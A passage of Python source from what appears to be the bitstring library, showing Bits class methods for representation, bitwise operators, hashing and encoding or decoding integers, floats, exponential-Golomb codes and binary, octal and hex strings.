range.\")\n            # Single bit, return True or False\n            return self._datastore.getbit(key)\n\n    def __len__(self):\n        \"\"\"Return the length of the bitstring in bits.\"\"\"\n        return self._getlength()\n\n    def __str__(self):\n        \"\"\"Return approximate string representation of bitstring for printing.\n\n        Short strings will be given wholly in hexadecimal or binary. Longer\n        strings may be part hexadecimal and part binary. Very long strings will\n        be truncated with '...'.\n\n        \"\"\"\n        length = self.len\n        if not length:\n            return ''\n        if length > MAX_CHARS * 4:\n            # Too long for hex. Truncate...\n            return ''.join(('0x', self._readhex(MAX_CHARS * 4, 0), '...'))\n        # If it's quite short and we can't do hex then use bin\n        if length < 32 and length % 4 != 0:\n            return '0b' + self.bin\n        # If we can use hex then do so\n        if not length % 4:\n            return '0x' + self.hex\n        # Otherwise first we do as much as we can in hex\n        # then add on 1, 2 or 3 bits on at the end\n        bits_at_end = length % 4\n        return ''.join(('0x', self._readhex(length - bits_at_end, 0),\n                        ', ', '0b',\n                        self._readbin(bits_at_end, length - bits_at_end)))\n\n    def __repr__(self):\n        \"\"\"Return representation that could be used to recreate the bitstring.\n\n        If the returned string is too long it will be truncated. See __str__().\n\n        \"\"\"\n        length = self.len\n        if isinstance(self._datastore._rawarray, MmapByteArray):\n            offsetstring = ''\n            if self._datastore.byteoffset or self._offset:\n                offsetstring = \", offset=%d\" % (self._datastore._rawarray.byteoffset * 8 + self._offset)\n            lengthstring = \", length=%d\" % length\n            return \"{0}(filename='{1}'{2}{3})\".format(self.__class__.__name__,\n                    self._datastore._rawarray.source.name, lengthstring, offsetstring)\n        else:\n            s = self.__str__()\n            lengthstring = ''\n            if s.endswith('...'):\n                lengthstring = \" # length={0}\".format(length)\n            return \"{0}('{1}'){2}\".format(self.__class__.__name__, s, lengthstring)\n\n    def __eq__(self, bs):\n        \"\"\"Return True if two bitstrings have the same binary representation.\n\n        >>> BitArray('0b1110') == '0xe'\n        True\n\n        \"\"\"\n        try:\n            bs = Bits(bs)\n        except TypeError:\n            return False\n        return equal(self._datastore, bs._datastore)\n\n    def __ne__(self, bs):\n        \"\"\"Return False if two bitstrings have the same binary representation.\n\n        >>> BitArray('0b111') == '0x7'\n        False\n\n        \"\"\"\n        return not self.__eq__(bs)\n\n    def __invert__(self):\n        \"\"\"Return bitstring with every bit inverted.\n\n        Raises Error if the bitstring is empty.\n\n        \"\"\"\n        if not self.len:\n            raise Error(\"Cannot invert empty bitstring.\")\n        s = self._copy()\n        s._invert_all()\n        return s\n\n    def __lshift__(self, n):\n        \"\"\"Return bitstring with bits shifted by n to the left.\n\n        n -- the number of bits to shift. Must be >= 0.\n\n        \"\"\"\n        if n < 0:\n            raise ValueError(\"Cannot shift by a negative amount.\")\n        if not self.len:\n            raise ValueError(\"Cannot shift an empty bitstring.\")\n        n = min(n, self.len)\n        s = self._slice(n, self.len)\n        s._append(Bits(n))\n        return s\n\n    def __rshift__(self, n):\n        \"\"\"Return bitstring with bits shifted by n to the right.\n\n        n -- the number of bits to shift. Must be >= 0.\n\n        \"\"\"\n        if n < 0:\n            raise ValueError(\"Cannot shift by a negative amount.\")\n        if not self.len:\n            raise ValueError(\"Cannot shift an empty bitstring.\")\n        if not n:\n            return self._copy()\n        s = self.__class__(length=min(n, self.len))\n        s._append(self[:-n])\n        return s\n\n    def __mul__(self, n):\n        \"\"\"Return bitstring consisting of n concatenations of self.\n\n        Called for expression of the form 'a = b*3'.\n        n -- The number of concatenations. Must be >= 0.\n\n        \"\"\"\n        if n < 0:\n            raise ValueError(\"Cannot multiply by a negative integer.\")\n        if not n:\n            return self.__class__()\n        s = self._copy()\n        s._imul(n)\n        return s\n\n    def __rmul__(self, n):\n        \"\"\"Return bitstring consisting of n concatenations of self.\n\n        Called for expressions of the form 'a = 3*b'.\n        n -- The number of concatenations. Must be >= 0.\n\n        \"\"\"\n        return self.__mul__(n)\n\n    def __and__(self, bs):\n        \"\"\"Bit-wise 'and' between two bitstrings. Returns new bitstring.\n\n        bs -- The bitstring to '&' with.\n\n        Raises ValueError if the two bitstrings have differing lengths.\n\n        \"\"\"\n        bs = Bits(bs)\n        if self.len != bs.len:\n            raise ValueError(\"Bitstrings must have the same length \"\n                             \"for & operator.\")\n        s = self._copy()\n        s._iand(bs)\n        return s\n\n    def __rand__(self, bs):\n        \"\"\"Bit-wise 'and' between two bitstrings. Returns new bitstring.\n\n        bs -- the bitstring to '&' with.\n\n        Raises ValueError if the two bitstrings have differing lengths.\n\n        \"\"\"\n        return self.__and__(bs)\n\n    def __or__(self, bs):\n        \"\"\"Bit-wise 'or' between two bitstrings. Returns new bitstring.\n\n        bs -- The bitstring to '|' with.\n\n        Raises ValueError if the two bitstrings have differing lengths.\n\n        \"\"\"\n        bs = Bits(bs)\n        if self.len != bs.len:\n            raise ValueError(\"Bitstrings must have the same length \"\n                             \"for | operator.\")\n        s = self._copy()\n        s._ior(bs)\n        return s\n\n    def __ror__(self, bs):\n        \"\"\"Bit-wise 'or' between two bitstrings. Returns new bitstring.\n\n        bs -- The bitstring to '|' with.\n\n        Raises ValueError if the two bitstrings have differing lengths.\n\n        \"\"\"\n        return self.__or__(bs)\n\n    def __xor__(self, bs):\n        \"\"\"Bit-wise 'xor' between two bitstrings. Returns new bitstring.\n\n        bs -- The bitstring to '^' with.\n\n        Raises ValueError if the two bitstrings have differing lengths.\n\n        \"\"\"\n        bs = Bits(bs)\n        if self.len != bs.len:\n            raise ValueError(\"Bitstrings must have the same length \"\n                             \"for ^ operator.\")\n        s = self._copy()\n        s._ixor(bs)\n        return s\n\n    def __rxor__(self, bs):\n        \"\"\"Bit-wise 'xor' between two bitstrings. Returns new bitstring.\n\n        bs -- The bitstring to '^' with.\n\n        Raises ValueError if the two bitstrings have differing lengths.\n\n        \"\"\"\n        return self.__xor__(bs)\n\n    def __contains__(self, bs):\n        \"\"\"Return whether bs is contained in the current bitstring.\n\n        bs -- The bitstring to search for.\n\n        \"\"\"\n        # Don't want to change pos\n        try:\n            pos = self._pos\n        except AttributeError:\n            pass\n        found = Bits.find(self, bs, bytealigned=False)\n        try:\n            self._pos = pos\n        except UnboundLocalError:\n            pass\n        return bool(found)\n\n    def __hash__(self):\n        \"\"\"Return an integer hash of the object.\"\"\"\n        # We can't in general hash the whole bitstring (it could take hours!)\n        # So instead take some bits from the start and end.\n        if self.len <= 160:\n            # Use the whole bitstring.\n            shorter = self\n        else:\n            # Take 10 bytes from start and end\n            shorter = self[:80] + self[-80:]\n        h = 0\n        for byte in shorter.tobytes():\n            try:\n                h = (h << 4) + ord(byte)\n            except TypeError:\n                # Python 3\n                h = (h << 4) + byte\n            g = h & 0xf0000000\n            if g & (1 << 31):\n                h ^= (g >> 24)\n                h ^= g\n        return h % 1442968193\n\n    # This is only used in Python 2.x...\n    def __nonzero__(self):\n        \"\"\"Return True if any bits are set to 1, otherwise return False.\"\"\"\n        return self.any(True)\n\n    # ...whereas this is used in Python 3.x\n    __bool__ = __nonzero__\n\n    def _assertsanity(self):\n        \"\"\"Check internal self consistency as a debugging aid.\"\"\"\n        assert self.len >= 0\n        assert 0 <= self._offset, \"offset={0}\".format(self._offset)\n        assert (self.len + self._offset + 7) // 8 == self._datastore.bytelength + self._datastore.byteoffset\n        return True\n\n    @classmethod\n    def _init_with_token(cls, name, token_length, value):\n        if token_length is not None:\n            token_length = int(token_length)\n        if token_length == 0:\n            return cls()\n        # For pad token just return the length in zero bits\n        if name == 'pad':\n            return cls(token_length)\n\n        if value is None:\n            if token_length is None:\n                error = \"Token has no value ({0}=???).\".format(name)\n            else:\n                error = \"Token has no value ({0}:{1}=???).\".format(name, token_length)\n            raise ValueError(error)\n        try:\n            b = cls(**{_tokenname_to_initialiser[name]: value})\n        except KeyError:\n            if name in ('se', 'ue', 'sie', 'uie'):\n                b = cls(**{name: int(value)})\n            elif name in ('uint', 'int', 'uintbe', 'intbe', 'uintle', 'intle', 'uintne', 'intne'):\n                b = cls(**{name: int(value), 'length': token_length})\n            elif name in ('float', 'floatbe', 'floatle', 'floatne'):\n                b = cls(**{name: float(value), 'length': token_length})\n            elif name == 'bool':\n                if value in (1, 'True', '1'):\n                    b = cls(bool=True)\n                elif value in (0, 'False', '0'):\n                    b = cls(bool=False)\n                else:\n                    raise CreationError(\"bool token can only be 'True' or 'False'.\")\n            else:\n                raise CreationError(\"Can't parse token name {0}.\", name)\n        if token_length is not None and b.len != token_length:\n            msg = \"Token with length {0} packed with value of length {1} ({2}:{3}={4}).\"\n            raise CreationError(msg, token_length, b.len, name, token_length, value)\n        return b\n\n    def _clear(self):\n        \"\"\"Reset the bitstring to an empty state.\"\"\"\n        self._datastore = ByteStore(bytearray(0))\n\n    def _setauto(self, s, length, offset):\n        \"\"\"Set bitstring from a bitstring, file, bool, integer, array, iterable or string.\"\"\"\n        # As s can be so many different things it's important to do the checks\n        # in the correct order, as some types are also other allowed types.\n        # So basestring must be checked before Iterable\n        # and bytes/bytearray before Iterable but after basestring!\n        if isinstance(s, Bits):\n            if length is None:\n                length = s.len - offset\n            self._setbytes_unsafe(s._datastore.rawbytes, length, s._offset + offset)\n            return\n        if isinstance(s, file):\n            if offset is None:\n                offset = 0\n            if length is None:\n                length = os.path.getsize(s.name) * 8 - offset\n            byteoffset, offset = divmod(offset, 8)\n            bytelength = (length + byteoffset * 8 + offset + 7) // 8 - byteoffset\n            m = MmapByteArray(s, bytelength, byteoffset)\n            if length + byteoffset * 8 + offset > m.filelength * 8:\n                raise CreationError(\"File is not long enough for specified \"\n                                    \"length and offset.\")\n            self._datastore = ConstByteStore(m, length, offset)\n            return\n        if length is not None:\n            raise CreationError(\"The length keyword isn't applicable to this initialiser.\")\n        if offset:\n            raise CreationError(\"The offset keyword isn't applicable to this initialiser.\")\n        if isinstance(s, basestring):\n            bs = self._converttobitstring(s)\n            assert bs._offset == 0\n            self._setbytes_unsafe(bs._datastore.rawbytes, bs.length, 0)\n            return\n        if isinstance(s, (bytes, bytearray)):\n            self._setbytes_unsafe(bytearray(s), len(s) * 8, 0)\n            return\n        if isinstance(s, array.array):\n            try:\n                b = s.tobytes()\n            except AttributeError:\n                b = s.tostring()  # Python 2.7\n            self._setbytes_unsafe(bytearray(b), len(b) * 8, 0)\n            return\n        if isinstance(s, numbers.Integral):\n            # Initialise with s zero bits.\n            if s < 0:\n                msg = \"Can't create bitstring of negative length {0}.\"\n                raise CreationError(msg, s)\n            data = bytearray((s + 7) // 8)\n            self._datastore = ByteStore(data, s, 0)\n            return\n        if isinstance(s, collections.Iterable):\n            # Evaluate each item as True or False and set bits to 1 or 0.\n            self._setbin_unsafe(''.join(str(int(bool(x))) for x in s))\n            return\n        raise TypeError(\"Cannot initialise bitstring from {0}.\".format(type(s)))\n\n    def _setfile(self, filename, length, offset):\n        \"\"\"Use file as source of bits.\"\"\"\n        with open(filename, 'rb') as source:\n            if offset is None:\n                offset = 0\n            if length is None:\n                length = os.path.getsize(source.name) * 8 - offset\n            byteoffset, offset = divmod(offset, 8)\n            bytelength = (length + byteoffset * 8 + offset + 7) // 8 - byteoffset\n            m = MmapByteArray(source, bytelength, byteoffset)\n            if length + byteoffset * 8 + offset > m.filelength * 8:\n                raise CreationError(\"File is not long enough for specified \"\n                                    \"length and offset.\")\n            self._datastore = ConstByteStore(m, length, offset)\n\n    def _setbytes_safe(self, data, length=None, offset=0):\n        \"\"\"Set the data from a string.\"\"\"\n        data = bytearray(data)\n        if length is None:\n            # Use to the end of the data\n            length = len(data)*8 - offset\n            self._datastore = ByteStore(data, length, offset)\n        else:\n            if length + offset > len(data) * 8:\n                msg = \"Not enough data present. Need {0} bits, have {1}.\"\n                raise CreationError(msg, length + offset, len(data) * 8)\n            if length == 0:\n                self._datastore = ByteStore(bytearray(0))\n            else:\n                self._datastore = ByteStore(data, length, offset)\n\n    def _setbytes_unsafe(self, data, length, offset):\n        \"\"\"Unchecked version of _setbytes_safe.\"\"\"\n        self._datastore = type(self._datastore)(data[:], length, offset)\n        assert self._assertsanity()\n\n    def _readbytes(self, length, start):\n        \"\"\"Read bytes and return them. Note that length is in bits.\"\"\"\n        assert length % 8 == 0\n        assert start + length <= self.len\n        if not (start + self._offset) % 8:\n            return bytes(self._datastore.getbyteslice((start + self._offset) // 8,\n                                                      (start + self._offset + length) // 8))\n        return self._slice(start, start + length).tobytes()\n\n    def _getbytes(self):\n        \"\"\"Return the data as an ordinary string.\"\"\"\n        if self.len % 8:\n            raise InterpretError(\"Cannot interpret as bytes unambiguously - \"\n                                 \"not multiple of 8 bits.\")\n        return self._readbytes(self.len, 0)\n\n    def _setuint(self, uint, length=None):\n        \"\"\"Reset the bitstring to have given unsigned int interpretation.\"\"\"\n        try:\n            if length is None:\n                # Use the whole length. Deliberately not using .len here.\n                length = self._datastore.bitlength\n        except AttributeError:\n            # bitstring doesn't have a _datastore as it hasn't been created!\n            pass\n        # TODO: All this checking code should be hoisted out of here!\n        if length is None or length == 0:\n            raise CreationError(\"A non-zero length must be specified with a \"\n                                \"uint initialiser.\")\n        if uint >= (1 << length):\n            msg = \"{0} is too large an unsigned integer for a bitstring of length {1}. \"\\\n                  \"The allowed range is [0, {2}].\"\n            raise CreationError(msg, uint, length, (1 << length) - 1)\n        if uint < 0:\n            raise CreationError(\"uint cannot be initialsed by a negative number.\")\n        s = hex(uint)[2:]\n        s = s.rstrip('L')\n        if len(s) & 1:\n            s = '0' + s\n        try:\n            data = bytes.fromhex(s)\n        except AttributeError:\n            # the Python 2.x way\n            data = binascii.unhexlify(s)\n        # Now add bytes as needed to get the right length.\n        extrabytes = ((length + 7) // 8) - len(data)\n        if extrabytes > 0:\n            data = b'\\x00' * extrabytes + data\n        offset = 8 - (length % 8)\n        if offset == 8:\n            offset = 0\n        self._setbytes_unsafe(bytearray(data), length, offset)\n\n    def _readuint(self, length, start):\n        \"\"\"Read bits and interpret as an unsigned int.\"\"\"\n        if not length:\n            raise InterpretError(\"Cannot interpret a zero length bitstring \"\n                                           \"as an integer.\")\n        offset = self._offset\n        startbyte = (start + offset) // 8\n        endbyte = (start + offset + length - 1) // 8\n\n        b = binascii.hexlify(bytes(self._datastore.getbyteslice(startbyte, endbyte + 1)))\n        assert b\n        i = int(b, 16)\n        final_bits = 8 - ((start + offset + length) % 8)\n        if final_bits != 8:\n            i >>= final_bits\n        i &= (1 << length) - 1\n        return i\n\n    def _getuint(self):\n        \"\"\"Return data as an unsigned int.\"\"\"\n        return self._readuint(self.len, 0)\n\n    def _setint(self, int_, length=None):\n        \"\"\"Reset the bitstring to have given signed int interpretation.\"\"\"\n        # If no length given, and we've previously been given a length, use it.\n        if length is None and hasattr(self, 'len') and self.len != 0:\n            length = self.len\n        if length is None or length == 0:\n            raise CreationError(\"A non-zero length must be specified with an int initialiser.\")\n        if int_ >= (1 << (length - 1)) or int_ < -(1 << (length - 1)):\n            raise CreationError(\"{0} is too large a signed integer for a bitstring of length {1}. \"\n                                \"The allowed range is [{2}, {3}].\", int_, length, -(1 << (length - 1)),\n                                (1 << (length - 1)) - 1)\n        if int_ >= 0:\n            self._setuint(int_, length)\n            return\n        # Do the 2's complement thing. Add one, set to minus number, then flip bits.\n        self._setuint((-int_ - 1) ^ ((1 << length) - 1), length)\n\n    def _readint(self, length, start):\n        \"\"\"Read bits and interpret as a signed int\"\"\"\n        ui = self._readuint(length, start)\n        if not ui >> (length - 1):\n            # Top bit not set, number is positive\n            return ui\n        # Top bit is set, so number is negative\n        tmp = (~(ui - 1)) & ((1 << length) - 1)\n        return -tmp\n\n    def _getint(self):\n        \"\"\"Return data as a two's complement signed int.\"\"\"\n        return self._readint(self.len, 0)\n\n    def _setuintbe(self, uintbe, length=None):\n        \"\"\"Set the bitstring to a big-endian unsigned int interpretation.\"\"\"\n        if length is not None and length % 8 != 0:\n            raise CreationError(\"Big-endian integers must be whole-byte. \"\n                                \"Length = {0} bits.\", length)\n        self._setuint(uintbe, length)\n\n    def _readuintbe(self, length, start):\n        \"\"\"Read bits and interpret as a big-endian unsigned int.\"\"\"\n        if length % 8:\n            raise InterpretError(\"Big-endian integers must be whole-byte. \"\n                                 \"Length = {0} bits.\", length)\n        return self._readuint(length, start)\n\n    def _getuintbe(self):\n        \"\"\"Return data as a big-endian two's complement unsigned int.\"\"\"\n        return self._readuintbe(self.len, 0)\n\n    def _setintbe(self, intbe, length=None):\n        \"\"\"Set bitstring to a big-endian signed int interpretation.\"\"\"\n        if length is not None and length % 8 != 0:\n            raise CreationError(\"Big-endian integers must be whole-byte. \"\n                                \"Length = {0} bits.\", length)\n        self._setint(intbe, length)\n\n    def _readintbe(self, length, start):\n        \"\"\"Read bits and interpret as a big-endian signed int.\"\"\"\n        if length % 8:\n            raise InterpretError(\"Big-endian integers must be whole-byte. \"\n                                 \"Length = {0} bits.\", length)\n        return self._readint(length, start)\n\n    def _getintbe(self):\n        \"\"\"Return data as a big-endian two's complement signed int.\"\"\"\n        return self._readintbe(self.len, 0)\n\n    def _setuintle(self, uintle, length=None):\n        if length is not None and length % 8 != 0:\n            raise CreationError(\"Little-endian integers must be whole-byte. \"\n                                \"Length = {0} bits.\", length)\n        self._setuint(uintle, length)\n        self._datastore._rawarray = self._datastore._rawarray[::-1]\n\n    def _readuintle(self, length, start):\n        \"\"\"Read bits and interpret as a little-endian unsigned int.\"\"\"\n        if length % 8:\n            raise InterpretError(\"Little-endian integers must be whole-byte. \"\n                                 \"Length = {0} bits.\", length)\n        assert start + length <= self.len\n        absolute_pos = start + self._offset\n        startbyte, offset = divmod(absolute_pos, 8)\n        val = 0\n        if not offset:\n            endbyte = (absolute_pos + length - 1) // 8\n            chunksize = 4 # for 'L' format\n            while endbyte - chunksize + 1 >= startbyte:\n                val <<= 8 * chunksize\n                val += struct.unpack('<L', bytes(self._datastore.getbyteslice(endbyte + 1 - chunksize, endbyte + 1)))[0]\n                endbyte -= chunksize\n            for b in xrange(endbyte, startbyte - 1, -1):\n                val <<= 8\n                val += self._datastore.getbyte(b)\n        else:\n            data = self._slice(start, start + length)\n            assert data.len % 8 == 0\n            data._reversebytes(0, self.len)\n            for b in bytearray(data.bytes):\n                val <<= 8\n                val += b\n        return val\n\n    def _getuintle(self):\n        return self._readuintle(self.len, 0)\n\n    def _setintle(self, intle, length=None):\n        if length is not None and length % 8 != 0:\n            raise CreationError(\"Little-endian integers must be whole-byte. \"\n                                \"Length = {0} bits.\", length)\n        self._setint(intle, length)\n        self._datastore._rawarray = self._datastore._rawarray[::-1]\n\n    def _readintle(self, length, start):\n        \"\"\"Read bits and interpret as a little-endian signed int.\"\"\"\n        ui = self._readuintle(length, start)\n        if not ui >> (length - 1):\n            # Top bit not set, number is positive\n            return ui\n        # Top bit is set, so number is negative\n        tmp = (~(ui - 1)) & ((1 << length) - 1)\n        return -tmp\n\n    def _getintle(self):\n        return self._readintle(self.len, 0)\n\n    def _setfloat(self, f, length=None):\n        # If no length given, and we've previously been given a length, use it.\n        if length is None and hasattr(self, 'len') and self.len != 0:\n            length = self.len\n        if length is None or length == 0:\n            raise CreationError(\"A non-zero length must be specified with a \"\n                                \"float initialiser.\")\n        if length == 32:\n            b = struct.pack('>f', f)\n        elif length == 64:\n            b = struct.pack('>d', f)\n        else:\n            raise CreationError(\"floats can only be 32 or 64 bits long, \"\n                                \"not {0} bits\", length)\n        self._setbytes_unsafe(bytearray(b), length, 0)\n\n    def _readfloat(self, length, start):\n        \"\"\"Read bits and interpret as a float.\"\"\"\n        if not (start + self._offset) % 8:\n            startbyte = (start + self._offset) // 8\n            if length == 32:\n                f, = struct.unpack('>f', bytes(self._datastore.getbyteslice(startbyte, startbyte + 4)))\n            elif length == 64:\n                f, = struct.unpack('>d', bytes(self._datastore.getbyteslice(startbyte, startbyte + 8)))\n        else:\n            if length == 32:\n                f, = struct.unpack('>f', self._readbytes(32, start))\n            elif length == 64:\n                f, = struct.unpack('>d', self._readbytes(64, start))\n        try:\n            return f\n        except NameError:\n            raise InterpretError(\"floats can only be 32 or 64 bits long, not {0} bits\", length)\n\n    def _getfloat(self):\n        \"\"\"Interpret the whole bitstring as a float.\"\"\"\n        return self._readfloat(self.len, 0)\n\n    def _setfloatle(self, f, length=None):\n        # If no length given, and we've previously been given a length, use it.\n        if length is None and hasattr(self, 'len') and self.len != 0:\n            length = self.len\n        if length is None or length == 0:\n            raise CreationError(\"A non-zero length must be specified with a \"\n                                \"float initialiser.\")\n        if length == 32:\n            b = struct.pack('<f', f)\n        elif length == 64:\n            b = struct.pack('<d', f)\n        else:\n            raise CreationError(\"floats can only be 32 or 64 bits long, \"\n                                \"not {0} bits\", length)\n        self._setbytes_unsafe(bytearray(b), length, 0)\n\n    def _readfloatle(self, length, start):\n        \"\"\"Read bits and interpret as a little-endian float.\"\"\"\n        startbyte, offset = divmod(start + self._offset, 8)\n        if not offset:\n            if length == 32:\n                f, = struct.unpack('<f', bytes(self._datastore.getbyteslice(startbyte, startbyte + 4)))\n            elif length == 64:\n                f, = struct.unpack('<d', bytes(self._datastore.getbyteslice(startbyte, startbyte + 8)))\n        else:\n            if length == 32:\n                f, = struct.unpack('<f', self._readbytes(32, start))\n            elif length == 64:\n                f, = struct.unpack('<d', self._readbytes(64, start))\n        try:\n            return f\n        except NameError:\n            raise InterpretError(\"floats can only be 32 or 64 bits long, \"\n                                 \"not {0} bits\", length)\n\n    def _getfloatle(self):\n        \"\"\"Interpret the whole bitstring as a little-endian float.\"\"\"\n        return self._readfloatle(self.len, 0)\n\n    def _setue(self, i):\n        \"\"\"Initialise bitstring with unsigned exponential-Golomb code for integer i.\n\n        Raises CreationError if i < 0.\n\n        \"\"\"\n        if i < 0:\n            raise CreationError(\"Cannot use negative initialiser for unsigned \"\n                                \"exponential-Golomb.\")\n        if not i:\n            self._setbin_unsafe('1')\n            return\n        tmp = i + 1\n        leadingzeros = -1\n        while tmp > 0:\n            tmp >>= 1\n            leadingzeros += 1\n        remainingpart = i + 1 - (1 << leadingzeros)\n        binstring = '0' * leadingzeros + '1' + Bits(uint=remainingpart,\n                                                             length=leadingzeros).bin\n        self._setbin_unsafe(binstring)\n\n    def _readue(self, pos):\n        \"\"\"Return interpretation of next bits as unsigned exponential-Golomb code.\n\n        Raises ReadError if the end of the bitstring is encountered while\n        reading the code.\n\n        \"\"\"\n        oldpos = pos\n        try:\n            while not self[pos]:\n                pos += 1\n        except IndexError:\n            raise ReadError(\"Read off end of bitstring trying to read code.\")\n        leadingzeros = pos - oldpos\n        codenum = (1 << leadingzeros) - 1\n        if leadingzeros > 0:\n            if pos + leadingzeros + 1 > self.len:\n                raise ReadError(\"Read off end of bitstring trying to read code.\")\n            codenum += self._readuint(leadingzeros, pos + 1)\n            pos += leadingzeros + 1\n        else:\n            assert codenum == 0\n            pos += 1\n        return codenum, pos\n\n    def _getue(self):\n        \"\"\"Return data as unsigned exponential-Golomb code.\n\n        Raises InterpretError if bitstring is not a single exponential-Golomb code.\n\n        \"\"\"\n        try:\n            value, newpos = self._readue(0)\n            if value is None or newpos != self.len:\n                raise ReadError\n        except ReadError:\n            raise InterpretError(\"Bitstring is not a single exponential-Golomb code.\")\n        return value\n\n    def _setse(self, i):\n        \"\"\"Initialise bitstring with signed exponential-Golomb code for integer i.\"\"\"\n        if i > 0:\n            u = (i * 2) - 1\n        else:\n            u = -2 * i\n        self._setue(u)\n\n    def _getse(self):\n        \"\"\"Return data as signed exponential-Golomb code.\n\n        Raises InterpretError if bitstring is not a single exponential-Golomb code.\n\n        \"\"\"\n        try:\n            value, newpos = self._readse(0)\n            if value is None or newpos != self.len:\n                raise ReadError\n        except ReadError:\n            raise InterpretError(\"Bitstring is not a single exponential-Golomb code.\")\n        return value\n\n    def _readse(self, pos):\n        \"\"\"Return interpretation of next bits as a signed exponential-Golomb code.\n\n        Advances position to after the read code.\n\n        Raises ReadError if the end of the bitstring is encountered while\n        reading the code.\n\n        \"\"\"\n        codenum, pos = self._readue(pos)\n        m = (codenum + 1) // 2\n        if not codenum % 2:\n            return -m, pos\n        else:\n            return m, pos\n\n    def _setuie(self, i):\n        \"\"\"Initialise bitstring with unsigned interleaved exponential-Golomb code for integer i.\n\n        Raises CreationError if i < 0.\n\n        \"\"\"\n        if i < 0:\n            raise CreationError(\"Cannot use negative initialiser for unsigned \"\n                                \"interleaved exponential-Golomb.\")\n        self._setbin_unsafe('1' if i == 0 else '0' + '0'.join(bin(i + 1)[3:]) + '1')\n\n    def _readuie(self, pos):\n        \"\"\"Return interpretation of next bits as unsigned interleaved exponential-Golomb code.\n\n        Raises ReadError if the end of the bitstring is encountered while\n        reading the code.\n\n        \"\"\"\n        try:\n            codenum = 1\n            while not self[pos]:\n                pos += 1\n                codenum <<= 1\n                codenum += self[pos]\n                pos += 1\n            pos += 1\n        except IndexError:\n            raise ReadError(\"Read off end of bitstring trying to read code.\")\n        codenum -= 1\n        return codenum, pos\n\n    def _getuie(self):\n        \"\"\"Return data as unsigned interleaved exponential-Golomb code.\n\n        Raises InterpretError if bitstring is not a single exponential-Golomb code.\n\n        \"\"\"\n        try:\n            value, newpos = self._readuie(0)\n            if value is None or newpos != self.len:\n                raise ReadError\n        except ReadError:\n            raise InterpretError(\"Bitstring is not a single interleaved exponential-Golomb code.\")\n        return value\n\n    def _setsie(self, i):\n        \"\"\"Initialise bitstring with signed interleaved exponential-Golomb code for integer i.\"\"\"\n        if not i:\n            self._setbin_unsafe('1')\n        else:\n            self._setuie(abs(i))\n            self._append(Bits([i < 0]))\n\n    def _getsie(self):\n        \"\"\"Return data as signed interleaved exponential-Golomb code.\n\n        Raises InterpretError if bitstring is not a single exponential-Golomb code.\n\n        \"\"\"\n        try:\n            value, newpos = self._readsie(0)\n            if value is None or newpos != self.len:\n                raise ReadError\n        except ReadError:\n            raise InterpretError(\"Bitstring is not a single interleaved exponential-Golomb code.\")\n        return value\n\n    def _readsie(self, pos):\n        \"\"\"Return interpretation of next bits as a signed interleaved exponential-Golomb code.\n\n        Advances position to after the read code.\n\n        Raises ReadError if the end of the bitstring is encountered while\n        reading the code.\n\n        \"\"\"\n        codenum, pos = self._readuie(pos)\n        if not codenum:\n            return 0, pos\n        try:\n            if self[pos]:\n                return -codenum, pos + 1\n            else:\n                return codenum, pos + 1\n        except IndexError:\n            raise ReadError(\"Read off end of bitstring trying to read code.\")\n\n    def _setbool(self, value):\n        # We deliberately don't want to have implicit conversions to bool here.\n        # If we did then it would be difficult to deal with the 'False' string.\n        if value in (1, 'True'):\n            self._setbytes_unsafe(bytearray(b'\\x80'), 1, 0)\n        elif value in (0, 'False'):\n            self._setbytes_unsafe(bytearray(b'\\x00'), 1, 0)\n        else:\n            raise CreationError('Cannot initialise boolean with {0}.', value)\n\n    def _getbool(self):\n        if self.length != 1:\n            msg = \"For a bool interpretation a bitstring must be 1 bit long, not {0} bits.\"\n            raise InterpretError(msg, self.length)\n        return self[0]\n\n    def _readbool(self, pos):\n        return self[pos], pos + 1\n\n    def _setbin_safe(self, binstring):\n        \"\"\"Reset the bitstring to the value given in binstring.\"\"\"\n        binstring = tidy_input_string(binstring)\n        # remove any 0b if present\n        binstring = binstring.replace('0b', '')\n        self._setbin_unsafe(binstring)\n\n    def _setbin_unsafe(self, binstring):\n        \"\"\"Same as _setbin_safe, but input isn't sanity checked. binstring mustn't start with '0b'.\"\"\"\n        length = len(binstring)\n        # pad with zeros up to byte boundary if needed\n        boundary = ((length + 7) // 8) * 8\n        padded_binstring = binstring + '0' * (boundary - length)\\\n                           if len(binstring) < boundary else binstring\n        try:\n            bytelist = [int(padded_binstring[x:x + 8], 2)\n                        for x in xrange(0, len(padded_binstring), 8)]\n        except ValueError:\n            raise CreationError(\"Invalid character in bin initialiser {0}.\", binstring)\n        self._setbytes_unsafe(bytearray(bytelist), length, 0)\n\n    def _readbin(self, length, start):\n        \"\"\"Read bits and interpret as a binary string.\"\"\"\n        if not length:\n            return ''\n        # Get the byte slice containing our bit slice\n        startbyte, startoffset = divmod(start + self._offset, 8)\n        endbyte = (start + self._offset + length - 1) // 8\n        b = self._datastore.getbyteslice(startbyte, endbyte + 1)\n        # Convert to a string of '0' and '1's (via a hex string an and int!)\n        c = \"{:0{}b}\".format(int(binascii.hexlify(b), 16), 8*len(b))\n        # Finally chop off any extra bits.\n        return c[startoffset:startoffset + length]\n\n    def _getbin(self):\n        \"\"\"Return interpretation as a binary string.\"\"\"\n        return self._readbin(self.len, 0)\n\n    def _setoct(self, octstring):\n        \"\"\"Reset the bitstring to have the value given in octstring.\"\"\"\n        octstring = tidy_input_string(octstring)\n        # remove any 0o if present\n        octstring = octstring.replace('0o', '')\n        binlist = []\n        for i in octstring:\n            try:\n                binlist.append(OCT_TO_BITS[int(i)])\n            except (ValueError, IndexError):\n                raise CreationError(\"Invalid symbol '{0}' in oct initialiser.\", i)\n\n        self._setbin_unsafe(''.join(binlist))\n\n    def _readoct(self, length, start):\n        \"\"\"Read bits and interpret as an octal string.\"\"\"\n        if length % 3:\n            raise InterpretError(\"Cannot convert to octal unambiguously - \"\n                                 \"not multiple of 3 bits.\")\n        if not length:\n            return ''\n        # Get main octal bit by converting from int.\n        # Strip starting 0 or 0o depending on Python version.\n        end = oct(self._readuint(length, start))[LEADING_OCT_CHARS:]\n        if end.endswith('L'):\n            end = end[:-1]\n        middle = '0' * (length // 3 - len(end))\n        return middle + end\n\n    def _getoct(self):\n        \"\"\"Return interpretation as an octal string.\"\"\"\n        return self._readoct(self.len, 0)\n\n    def _sethex(self, hexstring):\n        \"\"\"Reset the bitstring to have the value given in hexstring.\"\"\"\n        hexstring = tidy_input_string(hexstring)\n        # remove any 0x if present\n        hexstring = hexstring.replace('0x', '')\n        length = len(hexstring)\n        if length % 2:\n            hexstring += '0'\n        try:\n            data = bytearray.fromhex(hexstring)\n        except ValueError:\n            raise CreationError(\"Invalid symbol in hex 